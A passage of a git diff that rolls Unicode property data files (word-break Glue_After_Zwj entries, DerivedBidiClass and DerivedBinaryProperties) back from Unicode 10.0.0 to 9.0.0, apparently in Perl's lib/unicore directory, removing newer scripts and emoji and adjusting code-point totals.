E_Base # So PREGNANT WOMAN +1F933..1F939 ; E_Base # So [7] SELFIE..JUGGLING +1F93C..1F93E ; E_Base # So [3] WRESTLERS..HANDBALL -# Total code points: 98 +# Total code points: 79 # ================================================ @@ -1327,28 +1283,11 @@ FF3F ; ExtendNumLet # Pc FULLWIDTH LOW LINE # ================================================ -2640 ; Glue_After_Zwj # So FEMALE SIGN -2642 ; Glue_After_Zwj # So MALE SIGN -2695..2696 ; Glue_After_Zwj # So [2] STAFF OF AESCULAPIUS..SCALES -2708 ; Glue_After_Zwj # So AIRPLANE 2764 ; Glue_After_Zwj # So HEAVY BLACK HEART -1F308 ; Glue_After_Zwj # So RAINBOW -1F33E ; Glue_After_Zwj # So EAR OF RICE -1F373 ; Glue_After_Zwj # So COOKING -1F393 ; Glue_After_Zwj # So GRADUATION CAP -1F3A4 ; Glue_After_Zwj # So MICROPHONE -1F3A8 ; Glue_After_Zwj # So ARTIST PALETTE -1F3EB ; Glue_After_Zwj # So SCHOOL -1F3ED ; Glue_After_Zwj # So FACTORY 1F48B ; Glue_After_Zwj # So KISS MARK -1F4BB..1F4BC ; Glue_After_Zwj # So [2] PERSONAL COMPUTER..BRIEFCASE -1F527 ; Glue_After_Zwj # So WRENCH -1F52C ; Glue_After_Zwj # So MICROSCOPE 1F5E8 ; Glue_After_Zwj # So LEFT SPEECH BUBBLE -1F680 ; Glue_After_Zwj # So ROCKET -1F692 ; Glue_After_Zwj # So FIRE ENGINE -# Total code points: 22 +# Total code points: 3 # ================================================ diff --git a/lib/unicore/extracted/DBidiClass.txt b/lib/unicore/extracted/DBidiClass.txt index ca9cc6ad9aec..451cef2a639c 100644 --- a/lib/unicore/extracted/DBidiClass.txt +++ b/lib/unicore/extracted/DBidiClass.txt @@ -1,6 +1,6 @@ -# DerivedBidiClass-10.0.0.txt -# Date: 2017-03-08, 08:41:46 GMT -# © 2017 Unicode®, Inc. +# DerivedBidiClass-9.0.0.txt +# Date: 2016-06-01, 10:34:22 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -14,21 +14,44 @@ # reserved for right-to-left scripts are given either types R or AL. # # The unassigned code points that default to AL are in the ranges: -# [\u0600-\u07BF \u0860-\u086F \u08A0-\u08FF -# \uFB50-\uFDCF \uFDF0-\uFDFF \uFE70-\uFEFF \U0001EE00-\U0001EEFF] +# [\u0600-\u07BF \u08A0-\u08FF \uFB50-\uFDCF \uFDF0-\uFDFF \uFE70-\uFEFF \U0001EE00-\U0001EEFF] # -# This includes code points in the Arabic, Syriac, and Thaana blocks, among others. +# Arabic: U+0600 - U+06FF +# Syriac: U+0700 - U+074F +# Arabic_Supplement: U+0750 - U+077F +# Thaana: U+0780 - U+07BF +# Arabic Extended-A: U+08A0 - U+08FF +# Arabic_Presentation_Forms_A: +# U+FB50 - U+FDCF +# U+FDF0 - U+FDFF +# Arabic_Presentation_Forms_B: +# U+FE70 - U+FEFF +# Arabic Mathematical Alphabetic Symbols: +# U+1EE00 - U+1EEFF # # The unassigned code points that default to R are in the ranges: -# [\u0590-\u05FF \u07C0-\u085F \u0870-\u089F \uFB1D-\uFB4F -# \U00010800-\U00010FFF \U0001E800-\U0001EDFF \U0001EF00-\U0001EFFF] +# [\u0590-\u05FF \u07C0-\u089F \uFB1D-\uFB4F \U00010800-\U00010FFF \U0001E800-\U0001EDFF \U0001EF00-\U0001EFFF] # -# This includes code points in the Hebrew, NKo, and Phoenician blocks, among others. +# Hebrew: U+0590 - U+05FF +# NKo: U+07C0 - U+07FF +# Cypriot_Syllabary: U+10800 - U+1083F +# Phoenician: U+10900 - U+1091F +# Lydian: U+10920 - U+1093F +# Meroitic Hieroglyphs: +# U+10980 - U+1099F +# Meroitic Cursive: U+109A0 - U+109FF +# Kharoshthi: U+10A00 - U+10A5F +# and any others in the ranges: +# U+0800 - U+089F, +# U+FB1D - U+FB4F, +# U+10840 - U+10FFF, +# U+1E800 - U+1EDFF, +# U+1EF00 - U+1EFFF # # The unassigned code points that default to ET are in the range: # [\u20A0-\u20CF] # -# This consists of code points in the Currency Symbols block. +# Currency Symbols: U+20A0 - U+20CF # # The unassigned code points that default to BN have one of the following properties: # Default_Ignorable_Code_Point @@ -115,8 +138,6 @@ 09F0..09F1 ; L # Lo [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL 09F4..09F9 ; L # No [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN 09FA ; L # So BENGALI ISSHAR -09FC ; L # Lo BENGALI LETTER VEDIC ANUSVARA -09FD ; L # Po BENGALI ABBREVIATION SIGN 0A03 ; L # Mc GURMUKHI SIGN VISARGA 0A05..0A0A ; L # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU 0A0F..0A10 ; L # Lo [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI @@ -442,7 +463,6 @@ 1CEE..1CF1 ; L # Lo [4] VEDIC SIGN HEXIFORM LONG ANUSVARA..VEDIC SIGN ANUSVARA UBHAYATO MUKHA 1CF2..1CF3 ; L # Mc [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA 1CF5..1CF6 ; L # Lo [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA -1CF7 ; L # Mc VEDIC SIGN ATIKRAMA 1D00..1D2B ; L # L& [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL 1D2C..1D6A ; L # Lm [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI 1D6B..1D77 ; L # L& [13] LATIN SMALL LETTER UE..LATIN SMALL LETTER TURNED G @@ -533,7 +553,7 @@ 30A1..30FA ; L # Lo [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO 30FC..30FE ; L # Lm [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK 30FF ; L # Lo KATAKANA DIGRAPH KOTO -3105..312E ; L # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; L # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E ; L # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 3190..3191 ; L # So [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK 3192..3195 ; L # No [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK @@ -554,7 +574,7 @@ 337B..33DD ; L # So [99] SQUARE ERA NAME HEISEI..SQUARE WB 33E0..33FE ; L # So [31] IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE..IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE 3400..4DB5 ; L # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 -4E00..9FEA ; L # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA +4E00..9FD5 ; L # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 A000..A014 ; L # Lo [21] YI SYLLABLE IT..YI SYLLABLE E A015 ; L # Lm YI SYLLABLE WU A016..A48C ; L # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR @@ -708,7 +728,7 @@ FFDA..FFDC ; L # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER 102A0..102D0 ; L # Lo [49] CARIAN LETTER A..CARIAN LETTER UUU3 10300..1031F ; L # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS 10320..10323 ; L # No [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY -1032D..10340 ; L # Lo [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA +10330..10340 ; L # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341 ; L # Nl GOTHIC LETTER NINETY 10342..10349 ; L # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL 1034A ; L # Nl GOTHIC LETTER NINE HUNDRED @@ -842,19 +862,6 @@ FFDA..FFDC ; L # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER 118E0..118E9 ; L # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE 118EA..118F2 ; L # No [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY 118FF ; L # Lo WARANG CITI OM -11A00 ; L # Lo ZANABAZAR SQUARE LETTER A -11A07..11A08 ; L # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A0B..11A32 ; L # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A39 ; L # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3A ; L # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A3F..11A46 ; L # Po [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK -11A50 ; L # Lo SOYOMBO LETTER A -11A57..11A58 ; L # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A5C..11A83 ; L # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; L # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA -11A97 ; L # Mc SOYOMBO SIGN VISARGA -11A9A..11A9C ; L # Po [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD -11A9E..11AA2 ; L # Po [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2 11AC0..11AF8 ; L # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08 ; L # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E ; L # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA @@ -870,11 +877,6 @@ FFDA..FFDC ; L # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER 11CA9 ; L # Mc MARCHEN SUBJOINED LETTER YA 11CB1 ; L # Mc MARCHEN VOWEL SIGN I 11CB4 ; L # Mc MARCHEN VOWEL SIGN O -11D00..11D06 ; L # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; L # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; L # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D46 ; L # Lo MASARAM GONDI REPHA -11D50..11D59 ; L # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE 12000..12399 ; L # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E ; L # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12470..12474 ; L # Po [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON @@ -901,11 +903,10 @@ FFDA..FFDC ; L # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER 16F50 ; L # Lo MIAO LETTER NASALIZATION 16F51..16F7E ; L # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG 16F93..16F9F ; L # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1 ; L # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; L # Lm TANGUT ITERATION MARK 17000..187EC ; L # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2 ; L # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B11E ; L # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB ; L # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001 ; L # Lo [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1BC00..1BC6A ; L # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M 1BC70..1BC7C ; L # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK 1BC80..1BC88 ; L # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL @@ -974,13 +975,12 @@ FFDA..FFDC ; L # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER 2A700..2B734 ; L # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 2B740..2B81D ; L # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B820..2CEA1 ; L # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEB0..2EBE0 ; L # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 2F800..2FA1D ; L # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D F0000..FFFFD ; L # Co [65534] .. 100000..10FFFD; L # Co [65534] .. -# The above property value applies to 833103 code points not listed here. -# Total code points: 1097124 +# The above property value applies to 841609 code points not listed here. +# Total code points: 1097280 # ================================================ @@ -1012,8 +1012,7 @@ F0000..FFFFD ; L # Co [65534] .. 0840..0858 ; R # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN 085C..085D ; R # Cn [2] .. 085E ; R # Po MANDAIC PUNCTUATION -085F ; R # Cn -0870..089F ; R # Cn [48] .. +085F..089F ; R # Cn [65] .. 200F ; R # Cf RIGHT-TO-LEFT MARK FB1D ; R # Lo HEBREW LETTER YOD WITH HIRIQ FB1F..FB28 ; R # Lo [10] HEBREW LIGATURE YIDDISH YOD YOD PATAH..HEBREW LETTER WIDE TAV @@ -1130,7 +1129,7 @@ FB46..FB4F ; R # Lo [10] HEBREW LETTER TSADI WITH DAGESH..HEBREW LIGATURE AL 1E960..1EDFF ; R # Cn [1184] .. 1EF00..1EFFF ; R # Cn [256] .. -# Total code points: 4054 +# Total code points: 4070 # ================================================ @@ -1188,8 +1187,8 @@ FF0D ; ES # Pd FULLWIDTH HYPHEN-MINUS 0E3F ; ET # Sc THAI CURRENCY SYMBOL BAHT 17DB ; ET # Sc KHMER CURRENCY SYMBOL RIEL 2030..2034 ; ET # Po [5] PER MILLE SIGN..TRIPLE PRIME -20A0..20BF ; ET # Sc [32] EURO-CURRENCY SIGN..BITCOIN SIGN -20C0..20CF ; ET # Cn [16] .. +20A0..20BE ; ET # Sc [31] EURO-CURRENCY SIGN..LARI SIGN +20BF..20CF ; ET # Cn [17] .. 212E ; ET # So ESTIMATED SYMBOL 2213 ; ET # Sm MINUS-OR-PLUS SIGN A838 ; ET # Sc NORTH INDIC RUPEE MARK @@ -1444,7 +1443,8 @@ FF1A ; CS # Po FULLWIDTH COLON 239B..23B3 ; ON # Sm [25] LEFT PARENTHESIS UPPER HOOK..SUMMATION BOTTOM 23B4..23DB ; ON # So [40] TOP SQUARE BRACKET..FUSE 23DC..23E1 ; ON # Sm [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET -23E2..2426 ; ON # So [69] WHITE TRAPEZIUM..SYMBOL FOR SUBSTITUTE FORM TWO +23E2..23FE ; ON # So [29] WHITE TRAPEZIUM..POWER SLEEP SYMBOL +2400..2426 ; ON # So [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO 2440..244A ; ON # So [11] OCR HOOK..OCR DOUBLE BACKSLASH 2460..2487 ; ON # No [40] CIRCLED DIGIT ONE..PARENTHESIZED NUMBER TWENTY 24EA..24FF ; ON # No [22] CIRCLED DIGIT ZERO..NEGATIVE CIRCLED DIGIT ZERO @@ -1529,7 +1529,7 @@ FF1A ; CS # Po FULLWIDTH COLON 2B76..2B95 ; ON # So [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW 2B98..2BB9 ; ON # So [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX 2BBD..2BC8 ; ON # So [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED -2BCA..2BD2 ; ON # So [9] TOP HALF BLACK CIRCLE..GROUP MARK +2BCA..2BD1 ; ON # So [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN 2BEC..2BEF ; ON # So [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS 2CE5..2CEA ; ON # So [6] COPTIC SYMBOL MI RO..COPTIC SYMBOL SHIMA SIMA 2CF9..2CFC ; ON # Po [4] COPTIC OLD NUBIAN FULL STOP..COPTIC OLD NUBIAN VERSE DIVIDER @@ -1572,7 +1572,7 @@ FF1A ; CS # Po FULLWIDTH COLON 2E40 ; ON # Pd DOUBLE HYPHEN 2E41 ; ON # Po REVERSED COMMA 2E42 ; ON # Ps DOUBLE LOW-REVERSED-9 QUOTATION MARK -2E43..2E49 ; ON # Po [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA +2E43..2E44 ; ON # Po [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK 2E80..2E99 ; ON # So [26] CJK RADICAL REPEAT..CJK RADICAL RAP 2E9B..2EF3 ; ON # So [89] CJK RADICAL CHOKE..CJK RADICAL C-SIMPLIFIED TURTLE 2F00..2FD5 ; ON # So [214] KANGXI RADICAL ONE..KANGXI RADICAL FLUTE @@ -1737,12 +1737,11 @@ FFFC..FFFD ; ON # So [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTE 1F0D1..1F0F5 ; ON # So [37] PLAYING CARD ACE OF CLUBS..PLAYING CARD TRUMP-21 1F10B..1F10C ; ON # No [2] DINGBAT CIRCLED SANS-SERIF DIGIT ZERO..DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO 1F16A..1F16B ; ON # So [2] RAISED MC SIGN..RAISED MD SIGN -1F260..1F265 ; ON # So [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI 1F300..1F3FA ; ON # So [251] CYCLONE..AMPHORA 1F3FB..1F3FF ; ON # Sk [5] EMOJI MODIFIER FITZPATRICK TYPE-1-2..EMOJI MODIFIER FITZPATRICK TYPE-6 -1F400..1F6D4 ; ON # So [725] RAT..PAGODA +1F400..1F6D2 ; ON # So [723] RAT..SHOPPING TROLLEY 1F6E0..1F6EC ; ON # So [13] HAMMER AND WRENCH..AIRPLANE ARRIVING -1F6F0..1F6F8 ; ON # So [9] SATELLITE..FLYING SAUCER +1F6F0..1F6F6 ; ON # So [7] SATELLITE..CANOE 1F700..1F773 ; ON # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE 1F780..1F7D4 ; ON # So [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR 1F800..1F80B ; ON # So [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD @@ -1750,15 +1749,16 @@ FFFC..FFFD ; ON # So [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTE 1F850..1F859 ; ON # So [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW 1F860..1F887 ; ON # So [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW 1F890..1F8AD ; ON # So [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS -1F900..1F90B ; ON # So [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT -1F910..1F93E ; ON # So [47] ZIPPER-MOUTH FACE..HANDBALL -1F940..1F94C ; ON # So [13] WILTED FLOWER..CURLING STONE -1F950..1F96B ; ON # So [28] CROISSANT..CANNED FOOD -1F980..1F997 ; ON # So [24] CRAB..CRICKET +1F910..1F91E ; ON # So [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED +1F920..1F927 ; ON # So [8] FACE WITH COWBOY HAT..SNEEZING FACE +1F930 ; ON # So PREGNANT WOMAN +1F933..1F93E ; ON # So [12] SELFIE..HANDBALL +1F940..1F94B ; ON # So [12] WILTED FLOWER..MARTIAL ARTS UNIFORM +1F950..1F95E ; ON # So [15] CROISSANT..PANCAKES +1F980..1F991 ; ON # So [18] CRAB..SQUID 1F9C0 ; ON # So CHEESE WEDGE -1F9D0..1F9E6 ; ON # So [23] FACE WITH MONOCLE..SOCKS -# Total code points: 5350 +# Total code points: 5267 # ================================================ @@ -1859,7 +1859,6 @@ FFFFE..FFFFF ; BN # Cn [2] .. 0AC7..0AC8 ; NSM # Mn [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI 0ACD ; NSM # Mn GUJARATI SIGN VIRAMA 0AE2..0AE3 ; NSM # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL -0AFA..0AFF ; NSM # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; NSM # Mn ORIYA SIGN CANDRABINDU 0B3C ; NSM # Mn ORIYA SIGN NUKTA 0B3F ; NSM # Mn ORIYA VOWEL SIGN I @@ -1880,8 +1879,7 @@ FFFFE..FFFFF ; BN # Cn [2] .. 0CBC ; NSM # Mn KANNADA SIGN NUKTA 0CCC..0CCD ; NSM # Mn [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA 0CE2..0CE3 ; NSM # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL -0D00..0D01 ; NSM # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU -0D3B..0D3C ; NSM # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA +0D01 ; NSM # Mn MALAYALAM SIGN CANDRABINDU 0D41..0D44 ; NSM # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR 0D4D ; NSM # Mn MALAYALAM SIGN VIRAMA 0D62..0D63 ; NSM # Mn [2] MALAYALAM VOWEL SIGN VOCALIC L..MALAYALAM VOWEL SIGN VOCALIC LL @@ -1966,7 +1964,7 @@ FFFFE..FFFFF ; BN # Cn [2] .. 1CED ; NSM # Mn VEDIC SIGN TIRYAK 1CF4 ; NSM # Mn VEDIC TONE CANDRA ABOVE 1CF8..1CF9 ; NSM # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE -1DC0..1DF9 ; NSM # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5 ; NSM # Mn [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF ; NSM # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 20D0..20DC ; NSM # Mn [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE 20DD..20E0 ; NSM # Me [4] COMBINING ENCLOSING CIRCLE..COMBINING ENCLOSING CIRCLE BACKSLASH @@ -2068,26 +2066,12 @@ FE20..FE2F ; NSM # Mn [16] COMBINING LIGATURE LEFT HALF..COMBINING CYRILLIC 1171D..1171F ; NSM # Mn [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA 11722..11725 ; NSM # Mn [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU 11727..1172B ; NSM # Mn [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER -11A01..11A06 ; NSM # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A09..11A0A ; NSM # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A33..11A38 ; NSM # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A3B..11A3E ; NSM # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A47 ; NSM # Mn ZANABAZAR SQUARE SUBJOINER -11A51..11A56 ; NSM # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A59..11A5B ; NSM # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A8A..11A96 ; NSM # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A98..11A99 ; NSM # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER 11C30..11C36 ; NSM # Mn [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L 11C38..11C3D ; NSM # Mn [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA 11C92..11CA7 ; NSM # Mn [22] MARCHEN SUBJOINED LETTER KA..MARCHEN SUBJOINED LETTER ZA 11CAA..11CB0 ; NSM # Mn [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA 11CB2..11CB3 ; NSM # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB5..11CB6 ; NSM # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D31..11D36 ; NSM # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; NSM # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; NSM # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; NSM # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D47 ; NSM # Mn MASARAM GONDI RA-KARA 16AF0..16AF4 ; NSM # Mn [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE 16B30..16B36 ; NSM # Mn [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM 16F8F..16F92 ; NSM # Mn [4] MIAO TONE RIGHT..MIAO TONE BELOW @@ -2112,7 +2096,7 @@ FE20..FE2F ; NSM # Mn [16] COMBINING LIGATURE LEFT HALF..COMBINING CYRILLIC 1E944..1E94A ; NSM # Mn [7] ADLAM ALIF LENGTHENER..ADLAM NUKTA E0100..E01EF ; NSM # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 -# Total code points: 1773 +# Total code points: 1700 # ================================================ @@ -2147,8 +2131,6 @@ E0100..E01EF ; NSM # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 074D..07A5 ; AL # Lo [89] SYRIAC LETTER SOGDIAN ZHAIN..THAANA LETTER WAAVU 07B1 ; AL # Lo THAANA LETTER NAA 07B2..07BF ; AL # Cn [14] .. -0860..086A ; AL # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA -086B..086F ; AL # Cn [5] .. 08A0..08B4 ; AL # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B5 ; AL # Cn 08B6..08BD ; AL # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON @@ -2237,7 +2219,7 @@ FEFD..FEFE ; AL # Cn [2] .. 1EEBC..1EEEF ; AL # Cn [52] .. 1EEF2..1EEFF ; AL # Cn [14] .. -# Total code points: 1436 +# Total code points: 1420 # ================================================ diff --git a/lib/unicore/extracted/DBinaryProperties.txt b/lib/unicore/extracted/DBinaryProperties.txt index 8036034e2567..4ee02c50da5d 100644 --- a/lib/unicore/extracted/DBinaryProperties.txt +++ b/lib/unicore/extracted/DBinaryProperties.txt @@ -1,6 +1,6 @@ -# DerivedBinaryProperties-10.0.0.txt -# Date: 2017-02-14, 04:26:02 GMT -# © 2017 Unicode®, Inc. +# DerivedBinaryProperties-9.0.0.txt +# Date: 2016-03-02, 18:54:56 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see 